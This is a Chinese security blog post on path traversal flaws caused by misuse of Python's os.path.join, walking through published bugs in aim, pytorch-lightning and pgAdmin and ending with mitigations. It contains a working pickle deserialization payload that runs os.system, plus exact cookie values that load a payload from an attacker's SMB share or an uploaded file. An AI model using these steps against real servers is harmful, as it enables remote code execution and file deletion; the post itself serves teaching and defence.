一些由于os.path.join使用不当造成的漏洞

`os.path.join` 是 Python 标准库 `os.path` 模块中的一个函数,用于将多个路径组件组合成一个路径字符串,并根据操作系统的路径规则处理路径分隔符。它是编写跨平台文件路径处理代码的关键工具。但如果开发者对该函数了解不完全,且参数用户可控时,就会造成一些安全问题

os.path.join 是 Python 标准库 os.path 模块中的一个函数,用于将多个路径组件组合成一个路径字符串,并根据操作系统的路径规则处理路径分隔符。它是编写跨平台文件路径处理代码的关键工具。但如果开发者对该函数了解不完全,且参数用户可控时,就会造成一些安全问题

1. os.path.join的常见用法

os.path.join(path, *paths) 官方文档介绍:

智能地合并一个或多个路径部分。 返回值将是 path 和所有 *paths 成员的拼接,其中每个非空部分后面都紧跟一个目录分隔符,最后一个除外。 也就是说,如果最后一个部分为空或是以一个分隔符结束则结果将仅以一个分隔符结束。 如果某个部分为绝对路径(在 Windows 上需要同时有驱动器号和根路径符号),则之前的所有部分会被忽略并从该绝对路径部分开始拼接。

主要功能

  1. 自动处理路径分隔符
    根据当前操作系统,自动使用正确的路径分隔符:
  1. - Windows 上,使用 `\` 作为路径分隔符。
  2. - 在类 Unix 系统(Linux、macOS)上,使用 `/`。
  3. 例如:
  4. ```python
  5. # 拼接多个路径段,可能造成路径穿越
  6. base_dir = Path.home() # 获取当前用户的主目录
  7. sub_dir = "../user2"
  8. # sub_dir2 = "..\\user2"
  9. file_name = "file.txt"
  10. full_path = os.path.join(base_dir, sub_dir, file_name)
  11. print(full_path)
  12. # sub_dir输出 (Linux/Mac): /home/user/../user2/file.txt
  13. ## sub_dir2输出 (Windows): C:\\Users\\user\\..\\user2\\file.txt
  14. ```
  1. 忽略多余的分隔符
    如果某个路径组件以分隔符开头,os.path.join 会将之前的路径部分视为无效,从该组件重新计算路径。 由于该方法的返回值将是 path 和所有 *paths 成员的拼接,所以该方法是多参数的,只要后面多个参数中的其中一个为绝对路径,就会舍弃该绝对路径前面的所有路径

    例如:

    1. base_dir = "/home/user/"
    2. sub_dir = "/documents"
    3. file_name = "file.txt"
    4. full_path = os.path.join(base_dir, sub_dir, file_name)
    5. print(full_path)
    6. # 输出: /documents/file.txt
    7. base_dir = r"D:\home\user"
    8. sub_dir = r"C:\documents"
    9. file_name = "file.txt"
    10. full_path = os.path.join(base_dir, sub_dir, file_name)
    11. print(full_path)
    12. # 输出: C:\documents\file.txt
  2. 跨平台兼容
    编写代码时无需手动判断路径格式,os.path.join 自动适配平台。

    例如:

    1. base_dir = Path.home() # 获取当前用户的主目录
    2. sub_dir = "projects"
    3. file_name = "main.py"
    4. full_path = os.path.join(base_dir, sub_dir, file_name)
    5. print(full_path)
    6. # 输出 (Linux/Mac): /home/username/projects/main.py
    7. # 输出 (Windows): C:\Users\username\projects\main.py
  3. os.path.join使用不当引起的漏洞

通过上面的例子我们知道,虽然os.path.join方便开发者实现跨平台兼容,但如果第二个之后的参数可控,就会导致突破路径范围限制。接下来会通过几个实际的案例展示其危害。

(1)aim(<=3.19.3)任意文件删除

在下面的代码中,请求访问/delete-batch/这个路由后,访问repo.delete_runs(runs_batch)方法

  1. @runs_router.post('/delete-batch/')
  2. async def delete_runs_batch_api(runs_batch: RunsBatchIn):
  3. repo = get_project_repo()
  4. success, remaining_runs = repo.delete_runs(runs_batch)
  5. if not success:
  6. raise HTTPException(status_code=400, detail={
  7. 'message': 'Error while deleting runs.',
  8. 'detail': {
  9. 'Remaining runs id': remaining_runs
  10. }
  11. })
  12. return {
  13. 'status': 'OK'
  14. }

经过一系列跳转,最后到达_delete_run方法,其中run_hash是通过post传递的json格式的list,在下面使用os.path.join的拼接,最后通过os.remove(meta_path)删除文件,其中os.path.join的最后一个参数可控,所以可以达到文件删除。

  1. def _delete_run(self, run_hash):
  2. ...
  3. sub_dirs = ('chunks', 'progress', 'locks')
  4. for sub_dir in sub_dirs:
  5. meta_path = os.path.join(self.path, 'meta', sub_dir, run_hash) # 漏洞点
  6. if os.path.isfile(meta_path):
  7. os.remove(meta_path)
  8. else:
  9. shutil.rmtree(meta_path, ignore_errors=True)
  10. seqs_path = os.path.join(self.path, 'seqs', sub_dir, run_hash) # 漏洞点
  11. if os.path.isfile(seqs_path):
  12. os.remove(seqs_path)
  13. else:
  14. shutil.rmtree(seqs_path, ignore_errors=True)

漏洞复现

首先创建一个文件

image-20241216151946002

发包,显示ok即成功删除

image-20250113155420085

验证

image-20241216152026026

(2)pytorch-lightning(<=2.3.2)文件上传漏洞

在下面代码中用 FastAPI 编写的一个文件上传接口的实现,使用put请求方法请求/api/v1/upload_file/文件名的方式上传文件,然后获取临时目录,并在之后使用os.path.join将临时目录和文件名进行拼接,将文件保存在临时目录下。

  1. @fastapi_service.put("/api/v1/upload_file/{filename}")
  2. async def upload_file(response: Response, filename: str, uploaded_file: UploadFile = File(...)) -> Union[str, dict]:
  3. if not ENABLE_UPLOAD_ENDPOINT:
  4. response.status_code = status.HTTP_405_METHOD_NOT_ALLOWED
  5. return {"status": "failure", "reason": "This endpoint is disabled."}
  6. with TemporaryDirectory() as tmp:
  7. drive = Drive(
  8. "lit://uploaded_files",
  9. component_name="file_server",
  10. allow_duplicates=True,
  11. root_folder=tmp,
  12. )
  13. tmp_file = os.path.join(tmp, filename) # 漏洞点
  14. with open(tmp_file, "wb") as f:
  15. done = False
  16. while not done:
  17. # Note: The 8192 number doesn't have a strong reason.
  18. content = await uploaded_file.read(8192)
  19. f.write(content)
  20. done = content == b""
  21. with _context(str(ComponentContext.WORK)):
  22. drive.put(filename)
  23. return f"Successfully uploaded '{filename}' to the Drive"

由于这里的文件名获取是在url处,所以无法通过常规的目录穿越(因为../../会被当作url路径从而解析到其他路由上面)。但由于在Windows下,路径的分隔符是\反斜杠,并且允许在 URL 段中使用。

在下面的os.path.join中对路径进行拼接时,由于第二个参数时文件名可控的,所以我们可以使用绝对路径从而可以忽略前面的路径,将文件上传到Windows主机上的任何路径。

漏洞复现

image-20241212163044114

当然也可以使用..\..\(反斜杠)的方式进行目录穿越上传文件

image-20241212163232982

(3)pgAdmin(<=8.3)反序列化远程代码执行

在下面的代码中,fname使用os.path.join方法 拼接 self.pathsid,生成存储会话数据的文件路径。如果存在该文件,则会对该文件进行反序列化得到当前session的相关信息,如果 dataNone(说明加载数据失败或文件为空),则会调用 self.new_session() 创建新的会话对象。

  1. from pickle import dump, load
  2. def get(self, sid, digest):
  3. fname = os.path.join(self.path, sid) # 漏洞点
  4. data = None
  5. hmac_digest = None
  6. randval = None
  7. if os.path.exists(fname):
  8. try:
  9. with open(fname, 'rb') as f:
  10. randval, hmac_digest, data = load(f) # 反序列化点
  11. except Exception:
  12. pass
  13. if not data:
  14. return self.new_session()

所以如果这里的sid可控,且能够上传文件,那么我们就可以通过路径穿越的方式获取到该文件,再配合下面的反序列化造成RCE。

通过向上追溯,最终确定sid是由cookie_val通过!分割获取的,而cookie_val是通过app.config[‘SESSION_COOKIE_NAME’]`中获取的

  1. def open_session(self, app, request):
  2. cookie_val = request.cookies.get(app.config['SESSION_COOKIE_NAME']) # 用户可控点
  3. if not cookie_val or '!' not in cookie_val:
  4. return self.manager.new_session()
  5. sid, digest = cookie_val.split('!', 1)
  6. if self.manager.exists(sid):
  7. return self.manager.get(sid, digest)
  8. return self.manager.new_session()

在config中定义了SESSION_COOKIE_NAMEpga4_session,由于cookie中的pga4_session是可控的,所以sid也是可控的。

image-20241211160123638

接下来就是寻找上传的地方

  • 对于部署在windows系统的应用

    对于windows来说,默认是支持smb协议的,os.path.join在处理smb路径时,同样会将它看作绝对路径,会舍弃掉前面的路径,直接访问smb服务器的文件,例如\\192.168.1.100\Documents\file.txt,可以指定攻击者的任意文件。

    复现步骤

    生成payload(python反序列化详细请看我之前的文章)

    1. import pickle
    2. import os
    3. class Exploit:
    4. def __reduce__(self):
    5. return (os.system, ('calc.exe',))
    6. payload = pickle.dumps(Exploit())
    7. with open('payload.pkl', 'wb') as f:
    8. f.write(payload)
    9. print("success")

    使用自己的windows开启smb服务(linux也可以使用第三方工具开启smb服务)

    image-20241213135231543

    将前面生成的payload放在路径下,用其他机器测试可以正常访问

    image-20241213135125154

    然后将cookie的pga4_session值设置为\\192.168.80.128\tmp\payload.pkl!a发送即可执行命令(注意要是不成功可以将感叹号后面的值任意修改,因为应用中存在缓存,会首先从缓存中读取)

    image-20241213143321780

    目标服务器上也成功弹出计算器

    image-20241213143422166

  • 对于部署在linux系统的应用

    对于linux来说,没有上面的技巧,只能老老实实寻找上传点,在后台有一处可以直接上传文件的地方,将前面生成的payload文件上传后会返回上传路径

    漏洞复现(这里使用win做演示,实际原理一样)

    image-20241213144820938

    将cookie的pga4_session值设置为../storage/pga_user_123_qq.com/payload.pkl!a发送即可执行命令(其中pga_user_123_qq.com是pgauser+登录用户名并将@替换为image-20241213145019410

3. 改进及防范措施

  1. 验证用户输入

    判断被拼接的参数是否为绝对路径,或判断是否有路径穿越的相关关键字例如../..\

  2. 路径验证

    使用 os.path.abspath 检查路径是否在允许的目录范围内,并对拼接后的路径和拼接的第一个路径进行判断,防止被拼接的路径使用路径穿越或使用绝对路径,例如

    1. base_dir = "/safe/directory"
    2. user_input = "../../etc/passwd"
    3. file_path = os.path.abspath(os.path.join(base_dir, user_input)) # 对使用os.path.join拼接后的路径返回给定路径的规范化绝对路径
    4. if not file_path.startswith(os.path.abspath(base_dir)): # 判断绝对路径是否是base_dir开头的
    5. raise ValueError("路径穿越被检测到!")
  3. 对用户输入的文件名进行随机化

    通常使用uuid或随机字符串的方式对用户输入的文件名重命名

  4. 使用其他更加安全的方法

    Python 的 pathlib 模块提供了更高级和安全的路径操作功能,它是 os.path 的现代替代方案。

    1. from pathlib import Path
    2. # 定义路径
    3. base_path = Path("D:/home/user")
    4. file_name = "../../example.txt"
    5. # 拼接路径
    6. full_path = base_path / file_name
    7. print(full_path.resolve()) # 输出: D:\example.txt # resolve方法将路径标准化,解析所有的.和..,将路径转换为绝对路径。
    8. if not full_path.resolve().is_relative_to(base_path): # is_relative_to方法可以用来判断一个路径是否是另一个路径的子路径。
    9. raise ValueError("路径穿越被检测到!")
  • 发表于 2025-02-12 09:53:38
  • 阅读 ( 30917 )
  • 分类:漏洞分析

0 条评论

中铁13层打工人
中铁13层打工人

80 篇文章

站长统计